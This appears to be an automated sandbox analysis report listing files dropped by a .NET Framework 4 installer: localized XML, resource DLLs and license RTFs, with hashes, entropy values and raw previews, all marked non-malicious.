                  SHA-256:69537AEF05EDFB55EC32897B3DD59724A825FDDECCD92BDD5E8840CB92B1B383
                  SHA-512:A7368CEC366E8F717F3FD51FA71133A02C5E7B44D095B849320E15F8D95DC1A58AB977FA9A4C1633FCD1AD82D929FF8FB2271C816BE8B2B8892D7389E3E3EACD
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\lang1043\b\f0\fs20 AANVULLENDE LICENTIEVOORWAARDEN VOOR MICROSOFT-SOFTWARE\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\lang1043\f0 MICROSOFT .NET FRAMEWORK 4 VOOR HET BESTURINGSSYSTEEM MICROSOFT WINDOWS\lang1033\f1\par..\lang1043\f0 MICROSOFT .NET FRAMEWORK 4 CLIENT PROFILE VOOR HET BESTURINGSSYSTEEM MICROSOFT WINDOWS \par..EN GERELATEERDE TAALPAKKETTEN\lang1033\f1\par..\pard\ltrpar\nowidctlpar\sb120\sa120\lang1043\b0\f0 Microsoft Corporation (of, afhankelijk uw locatie, een van haar gelieerde ondernemingen) geeft dit supplement aan u in licentie.\lang1033\b \lang1043\b0 Als u een licentie hebt voor het gebruik van Microsoft Windows

                  C:\6231e956ee22143d5ce90e\1044\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (653), with CRLF line terminators
                  Category:dropped
                  Size (bytes):79296
                  Entropy (8bit):3.5898407770439955
                  Encrypted:false
                  SSDEEP:384:4wn2IhI4z6T1sHCqeHveRWUw+KbGpK+9C/E6b2NJBf2OEuv:V9hI4z6T1siqeHveRhAo9CM6b2NJBuOD
                  MD5:120104FA24709C2A9D8EFC84FF0786CD
                  SHA1:B513FA545EFAE045864D8527A5EC6B6CEBE31BB9
                  SHA-256:516525636B91C16A70AEF8D6F6B424DC1EE7F747B8508B396EE88131B2BB0947
                  SHA-512:1EA8EB2BE9D5F4EF6F1F2C0D90CB228A9BB58D7143CCAFE77E18CE52EC4ACA25DDE0BA18430FD4D3D7962D079CCBE7E2552B2C7090361E03C6FDFB7C2B9C7325
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.n.s.t.a.l.l.a.s.j.o.n.s.p.r.o.g.r.a.m.m.e.t. .k.a.n. .i.k.k.e. .k.j...r.e. .i. .k.o.m.p.a.t.i.b.i.l.i.t.e.t.s.m.o.d.u.s... .H.v.i.s. .d.u. .v.i.l. .h.a. .m.e.r. .i.n.f.o.r.m.a.s.j.o.n.,. .s.e. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.V.i.k.t.i.g.-.f.i.l.e.n.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.

                  C:\6231e956ee22143d5ce90e\1044\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):17752
                  Entropy (8bit):5.209166644217636
                  Encrypted:false
                  SSDEEP:384:cNeu+Oeu+Oeu+rW56qxYBlgFAcUm/rW9eWoLXci2jpv72:TIxYBegm/WgMi2jpv72
                  MD5:BACEA57A781C43738A3B065103479BB5
                  SHA1:45E277CC370150293252535D5371B2C0F79B4874
                  SHA-256:8B372354A54643F1159FAB562D0F2DFE21F08A3D67DBB7337242846316D3BEC4
                  SHA-512:CD0BB774D1373A7B735AE9A867387527DAB28D7635B5DE881F92B66ECD87DA4E8F4605F3DF093294CA3060F993220472D3C926780BEB57BF3E90ECC081F0F1E1
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........*...............................................P.......H....@.......................................... ..t'..............X............................................................................................text...G...........................@..@.rsrc....0... ...(..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1044\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1044
                  Category:dropped
                  Size (bytes):3046
                  Entropy (8bit):5.1859499604057495
                  Encrypted:false
                  SSDEEP:48:rPN3nffnyzInT7BjTgLDRn0l392N4S2ZOMb5XgNRc9q5QB34pg5lqM9TX/ufMpDn:rPBffyUnT7BjTADRn0lN2N4S2wG5wNRq
                  MD5:830EBCED0F03F267EEE7A5167C4E91A4
                  SHA1:740075166941E5623ECB488B0390F25A84FEEC77
                  SHA-256:2D0B46674BB383A56E6061D25F0D446C8B50C83C92269A3FCCB657429E9EF4BE
                  SHA-512:CD146C8F35C1095E142EEDF2B486A22593A417138CAE35FBA00DEFB5395D6DAA34C84B6A345AE88A5B365D4E17190FD3C7F3AA384D2D4472E0413F432280F53E
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang1044\deflangfe1044{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\b\f0\fs28 TILLEGGSLISENSVILK\'c5R FOR MICROSOFT-PROGRAMVARE\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\f0\fs22 MICROSOFT .NET FRAMEWORK 4 FOR MICROSOFT WINDOWS-OPERATIVSYSTEM\f1\par..\f0 MICROSOFT .NET FRAMEWORK 4-KLIENTPROFIL FOR MICROSOFT WINDOWS-OPERATIVSYSTEM\par..OG TILKNYTTEDE SPR\'c5KPAKKER\f1\par..\pard\ltrpar\nowidctlpar\sb120\sa120\b0\f0\fs20 Microsoft Corporation (eller, avhengig av hvor du bor, et av dets tilknyttede selskaper) lisensierer dette tillegget til deg.\b \b0 Hvis du er lisensiert til \'e5 bruke Microsoft Windows-operativsystemprogramvare (som dette tillegget gjelder for) (\ldblquote programvaren\rdblquote ), har du r

                  C:\6231e956ee22143d5ce90e\1045\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (691), with CRLF line terminators
                  Category:dropped
                  Size (bytes):82374
                  Entropy (8bit):3.6806551409534465
                  Encrypted:false
                  SSDEEP:768:lz2ue+xTxXUpUqTvvUOfUs6LArUpFymrqQtr8BAyfO4RkSzXunasvJH2TF0wpYl7:lz2ue+xTxXUpUOvvUOfUs6LqTavdJkUr
                  MD5:BDB583C7A48F811BE3B0F01FCEA40470
                  SHA1:E8453946A6B926E4F4AE5B02BA1D648DAF23E133
                  SHA-256:611B7B7352188ADFFD6380B9C8A85B8FF97C09A1C293BB7AC0EF5478A0E18AC8
                  SHA-512:27B02226F8F86CA4D00789317C79E8CA0089F5B910BED14AA664EEAB6BE66E98DE3BAFD7670C895D70AB9C34ECE5F05199F3556FDDC1B165904E3432A51C008D
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.n.s.t.a.l.a.t.o.r. .n.i.e. .m.o.|.e. .d.z.i.a.B.a... .w. .t.r.y.b.i.e. .z.g.o.d.n.o.[.c.i... .A.b.y. .u.z.y.s.k.a... .w.i...c.e.j. .i.n.f.o.r.m.a.c.j.i.,. .z.o.b.a.c.z. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.P.l.i.k. .R.e.a.d.m.e.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.U.n.i.n.s.t.a.l.l.W.a.

                  C:\6231e956ee22143d5ce90e\1045\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18264
                  Entropy (8bit):5.2854545598714635
                  Encrypted:false
                  SSDEEP:192:fa1YUfwxWVxSIn+hnISv7N/blaRr26WneWAQKPnEtObMacxc8hjeyveCXW:iN2Gan9xblaRr26WneWALXci2jpvQ
                  MD5:550C79640EEE713C73EB67B0736A92E6
                  SHA1:51656BB182048F0ABFC57DC2DF9703D59E264442
                  SHA-256:F90002DA2068F868D5A710444EA30F91AE2229DBEB660166C1E28935E4AB6078
                  SHA-512:F90A9A5C399DEC2649E8EC088139E5FE4DD0419BDF7B5988BE8F437A35040A1E0D2F03D326B8C38B2F4F1CFDBE0269445120D95061BD691296E7C9B20C5EAC31
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P............@.......................................... ...(...........0..X............................................................................................text...G...........................@..@.rsrc....0... ...*..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1045\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):4040
                  Entropy (8bit):5.362038982382671
                  Encrypted:false
                  SSDEEP:96:rTBfQaJRTIRTjzH+oDgQUoIs89FcG5ywI5Et/+TMm9MpDcA/+MvsNcUOsG9jeLdp:Zfo+Bs18ncG5Y5Et/+Z9OwAjs7OtRwdp
                  MD5:BB93B108D4BE954133380F7709E7BA1E
                  SHA1:34376037B3C5879142796A2F524E5B3EA6097ED1
                  SHA-256:4F2D6A8979C89592877555FE8F576D5F631132452AFE86114D35E9531A1CA948
                  SHA-512:69C60EF8C0E6A8F7A92EC9A9C94C99F6DDE39477D8DEE041ABF7A164025D7EBFC9F0C7399AD8C9ED150861B00FC47F1F1CB40BB245AA87ED7904B1BAE6A4271B
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset238 Tahoma;}{\f1\froman\fprq2\fcharset238{\*\fname Times New Roman;}Times New Roman CE;}{\f2\fswiss\fprq2\fcharset238 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\lang1045\b\f0\fs20 UZUPE\'a3NIAJ\'a5CE POSTANOWIENIA LICENCYJNE DOTYCZ\'a5CE OPROGRAMOWANIA MICROSOFT\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\f0 MICROSOFT .NET FRAMEWORK 4 DLA SYSTEMU OPERACYJNEGO MICROSOFT WINDOWS\f1\par..\f0 PROFIL KLIENTA PROGRAMU MICROSOFT .NET FRAMEWORK 4 DLA SYSTEMU OPERACYJNEGO MICROSOFT WINDOWS\par..I POWI\'a5ZANYCH PAKIET\'d3W J\'caZYKOWYCH\f1\par..\pard\ltrpar\nowidctlpar\sb120\sa120\b0\f0 Microsoft \lang1045 Corporation (lub, w\~zale\'bfno\'9cci od miejsca zamieszkania Licencjobiorcy, jeden z\~podmiot\'f3w stowarzyszonych Microsoft Corporation) udziela Licencjobiorcy

                  C:\6231e956ee22143d5ce90e\1046\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (669), with CRLF line terminators
                  Category:dropped
                  Size (bytes):80738
                  Entropy (8bit):3.581949939963976
                  Encrypted:false
                  SSDEEP:384:4wl7DAQput9emRem6cvMOem6QemIAY/YEQTeQoqk7EHd9nKxXq5fKsLaG5m73Rdv:geOeqeCe1CkyJtG07g
                  MD5:A03D2063D388FC7A1B4C36D85EFA5A1A
                  SHA1:88BD5E2FF285EE421CCC523F7582E05A8C3323F8
                  SHA-256:61D8339E89A9E48F8AE2D929900582BB8373F08D553EC72D5E38A0840B47C8A3
                  SHA-512:3A219F36E57D90CA92E9FAEC4DFD34841C2C9244DA4FE7E1D70608DDE7857AA36325BDB46652A42922919F782BB7C97F567E69A9FC51942722B8FD66CD4ECAF0
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".N...o. ... .p.o.s.s...v.e.l. .e.x.e.c.u.t.a.r. .a. .i.n.s.t.a.l.a.....o. .e.m. .m.o.d.o. .d.e. .c.o.m.p.a.t.i.b.i.l.i.d.a.d.e... .P.a.r.a. .o.b.t.e.r. .m.a.i.s. .i.n.f.o.r.m.a.....e.s.,. .c.o.n.s.u.l.t.e. .o. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.a.r.q.u.i.v.o. .L.e.i.a.m.e.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.

                  C:\6231e956ee22143d5ce90e\1046\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18264
                  Entropy (8bit):5.203641313145023
                  Encrypted:false
                  SSDEEP:192:zjkTnUfwVWwwZFf7TOS7LDoKGslNDGf8BjWNeWSQKPnEtObMacxc8hjeyveCXKuj:zom6QT7FprmmWNeWSLXci2jpv3j
                  MD5:86CB58F2B6BC1174D200D0ABE5497233
                  SHA1:F1174409A44D922C23F376C6BC7609BBDAD5016C
                  SHA-256:DD7FB50E88355F46D619D89E47D3057ACC1C069178BA81839970BB13479FCF4C
                  SHA-512:AD4C9124F2459FB83C977B235B7ACDDA86AFAEBE9FEBD8BE084AA50E87AB091331A8724EC517D5096487970A3992C7E3D255CDA31DC494544CABA5DEF9C93DD1
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P......E.....@.......................................... ...(...........0..X............................................................................................text...G...........................@..@.rsrc....0... ...*..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1046\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default language ID 1033
                  Category:dropped
                  Size (bytes):3683
                  Entropy (8bit):5.188584376027454
                  Encrypted:false
                  SSDEEP:96:rTBfAlMu9fTp/9fTdIDsGJ1KlhREerHr7uStmESWp55ztFuMpDl/BRwZ+qf+J4Ed:ZfeuqhGeHVIErn1zuO9BC8q2WEHt+B2
                  MD5:E43708161843A33D34D6FDF966D36397
                  SHA1:2E5C0450CEBD9A737A90908EEDDAAE2D0B3E2940
                  SHA-256:0AF1F04F416712387BF87C93FA846B4E8EB0AC25E284A2A3578C58E2724E2778
                  SHA-512:FB334D29BBBC2D19D20C5260C55BF83D9D6D242C6A8F04AC88F8280A63E6AF32FB5D96703E43D39F6863D17B27D9E0E36CBAB1099127E5FA281255A19AE39E0D
                  Malicious:false
                  Preview:{\rtf1\fbidis\ansi\ansicpg1252\deff0\deflang1033\deflangfe1033{\fonttbl{\f0\fswiss\fprq2\fcharset0 Tahoma;}{\f1\froman\fprq2\fcharset0 Times New Roman;}{\f2\fswiss\fprq2\fcharset0 Trebuchet MS;}}..{\colortbl ;\red0\green0\blue255;}..{\*\generator Msftedit 5.41.21.2509;}\viewkind4\uc1\pard\ltrpar\nowidctlpar\sb120\sa120\lang1046\b\f0\fs20 TERMOS DE LICEN\'c7A COMPLEMENTARES PARA SOFTWARE DA MICROSOFT\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\nowidctlpar\sb120\sa120\lang1046\f0 MICROSOFT .NET FRAMEWORK 4 PARA SISTEMA OPERACIONAL MICROSOFT WINDOWS\lang1033\f1\par..\pard\brdrb\brdrs\brdrw10\brsp20 \ltrpar\lang1046\f0 PERFIL DO CLIENTE DO MICROSOFT .NET FRAMEWORK 4 PARA SISTEMA OPERACIONAL MICROSOFT WINDOWS\line\par..E PACOTES DE IDIOMAS ASSOCIADOS\lang1033\b0\f1\fs22\par..\pard\ltrpar\nowidctlpar\sb120\sa120\lang1046\f0\fs20 A Microsoft Corporation (ou, dependendo do local em que voc\'ea esteja domiciliado, uma de suas afiliadas) fornece a voc\'ea a licen\'e7a deste supleme

                  C:\6231e956ee22143d5ce90e\1049\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (712), with CRLF line terminators
                  Category:dropped
                  Size (bytes):81482
                  Entropy (8bit):4.270033694989682
                  Encrypted:false
                  SSDEEP:384:4w7iPuXsPXBUhOLGvVVA5/Fpn9zJop9TE+zkX6JS/5cGhj/6v:MP5XyZVrJF
                  MD5:349B52A81342A7AFB8842459E537ECC6
                  SHA1:6268343E82FBBABE7618BD873335A8F9F84ED64D
                  SHA-256:992BF5AEB06AA3701D50C23FA475B4B86D8997383C9F0E3425663CFBD6B8A2A5
                  SHA-512:EF4CBD3F7F572A9F146A524CFBC2EFBD084E6C70A65B96A42339ADC088E3F0524BC202548340969481E7F3DF3AC517AC34B200B56A3B9957802ABD0EFA951C49
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=."...5. .C.4.0.5.B.A.O. .2.K.?.>.;.=.8.B.L. .C.A.B.0.=.>.2.:.C. .2. .@.5.6.8.<.5. .A.>.2.<.5.A.B.8.<.>.A.B.8... ...>.?.>.;.=.8.B.5.;.L.=.K.5. .A.2.5.4.5.=.8.O. .A.<... .2. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.D.0.9.;.5. .A.2.5.4.5.=.8.9. .>. .?.@.>.4.C.:.B.5.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.

                  C:\6231e956ee22143d5ce90e\1049\SetupResources.dll

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                  Category:dropped
                  Size (bytes):18264
                  Entropy (8bit):5.548909804205606
                  Encrypted:false
                  SSDEEP:192:eRBvnUfwVWBC623DV3SD1tt9WfXHT7nMsmxeW1QKPnEtObMacxc8hjeyveCXgFK1:e/C6+URiD1vwLoPeW1LXci2jpvaFHM
                  MD5:7EF74AF6AB5760950A1D233C582099F1
                  SHA1:BF79FF66346907446F4F95E1E785A03CA108EB5D
                  SHA-256:658398F1B68D49ABD37FC3B438CD564992D4100ED2A0271CBF83173F33400928
                  SHA-512:BBBB099AD24F41785706033962ACFC75039F583BEED40A7CDC8EDA366AB2C77F75A5B2792CF6AACB80B39B6B1BB84ECE372BE926FF3F51028FB404D2F6334D78
                  Malicious:false
                  Antivirus:
                  • Antivirus: ReversingLabs, Detection: 0%
                  Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........l..............{%......{".....Rich............................PE..L......K.........."!.........,...............................................P......O.....@.......................................... ...*...........0..X............................................................................................text...G...........................@..@.rsrc....0... ...*..................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                  C:\6231e956ee22143d5ce90e\1049\eula.rtf

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
                  Category:dropped
                  Size (bytes):54456
                  Entropy (8bit):4.950349023670169
                  Encrypted:false
                  SSDEEP:768:3CR6rdlWFJv3zGz9tWQ2ni8UNo/8PZrS14Z:3CcrMeDZ
                  MD5:2277852A45DA18B12BEEC5FB6F08CDC9
                  SHA1:E564862D098BD111430C4208EAA1ADD5CD52A601
                  SHA-256:59AD806664E3CE4A024452985C4602D5610126A16FC36ADE018A9756ACCC92CC
                  SHA-512:ED9726D207479E4DF494C6AF17E64909EA6649DDD8BDC3E37229A73270B4A159B2B11C1ADD462871DD40A23033E6B3F8A26E3EA1FA6E3B7316153AF13B316CD2
                  Malicious:false
                  Preview:{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff31507\deff0\stshfdbch31505\stshfloch31506\stshfhich31506\stshfbi0\deflang1033\deflangfe1033\themelang1033\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\f34\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria Math;}..{\f38\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0604030504040204}Tahoma;}{\f44\fbidi \froman\fcharset0\fprq2 Times New Roman CYR;}{\f45\fbidi \fswiss\fcharset0\fprq2{\*\panose 020b0603020202020204}Trebuchet MS;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\*\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\pa

                  C:\6231e956ee22143d5ce90e\1053\LocalizedData.xml

                  Download File
                  Process:C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exe
                  File Type:XML 1.0 document, Unicode text, UTF-16, little-endian text, with very long lines (622), with CRLF line terminators
                  Category:dropped
                  Size (bytes):77680
                  Entropy (8bit):3.602060477304833
                  Encrypted:false
                  SSDEEP:384:4w+optBSCVb5v6iMSsCtD7jjktDhHfLSGM3zD0q0Xt//Vvcinnl/06N9mGktJsIO:QqtBSCVb5v69SsuD7jwDkqmGeJsoON
                  MD5:B3B1A89458BEC6AF82C5386D26639B59
                  SHA1:D9320B8CC862F40C65668A40670081079B63CEA1
                  SHA-256:1EF312E8BE9207466FBFDECEE92BFC6C6B7E2DA61979B0908EAF575464E7B7A0
                  SHA-512:478CE08619490ED1ECDD8751B5F60DA1EE4AC0D08D9A97468C3F595AC4376FECA59E9C72DD9C83B00C8D78B298BE757C6F24A422B7BE8C041F780524844998BF
                  Malicious:false
                  Preview:..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".u.t.f.-.1.6.".?.>.....<.S.e.t.u.p. .x.m.l.n.s.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.". .x.m.l.n.s.:.i.r.o.n.m.a.n.=.".h.t.t.p.:././.s.c.h.e.m.a.s...m.i.c.r.o.s.o.f.t...c.o.m./.S.e.t.u.p./.2.0.0.8./.0.1./.i.m.".>..... . .<.L.o.c.a.l.i.z.e.d.D.a.t.a.>..... . . . .<.L.a.n.g.u.a.g.e.>..... . . . . . .<.T.e.x.t. .I.D.=.".#.(.l.o.c...B.l.o.c.k.e.r._.i.n._.O.S._.C.o.m.p.a.t.i.b.i.l.i.t.y._.M.o.d.e.).". .L.o.c.a.l.i.z.e.d.T.e.x.t.=.".I.n.s.t.a.l.l.a.t.i.o.n.s.p.r.o.g.r.a.m.m.e.t. .k.a.n. .i.n.t.e. .k...r.a.s. .i. .k.o.m.p.a.t.i.b.i.l.i.t.e.t.s.l...g.e... .M.e.r. .i.n.f.o.r.m.a.t.i.o.n. .f.i.n.n.s. .i. .&.l.t.;.A. .H.R.E.F.=.&.q.u.o.t.;.h.t.t.p.:././.g.o...m.i.c.r.o.s.o.f.t...c.o.m./.f.w.l.i.n.k./.?.L.i.n.k.I.d.=.1.6.4.1.5.6.&.q.u.o.t.;.&.g.t.;.V.i.k.t.i.g.t.-.f.i.l.e.n.&.l.t.;./.A.&.g.t.;..."./.>..... . . . . . .<.T.e.x.t. 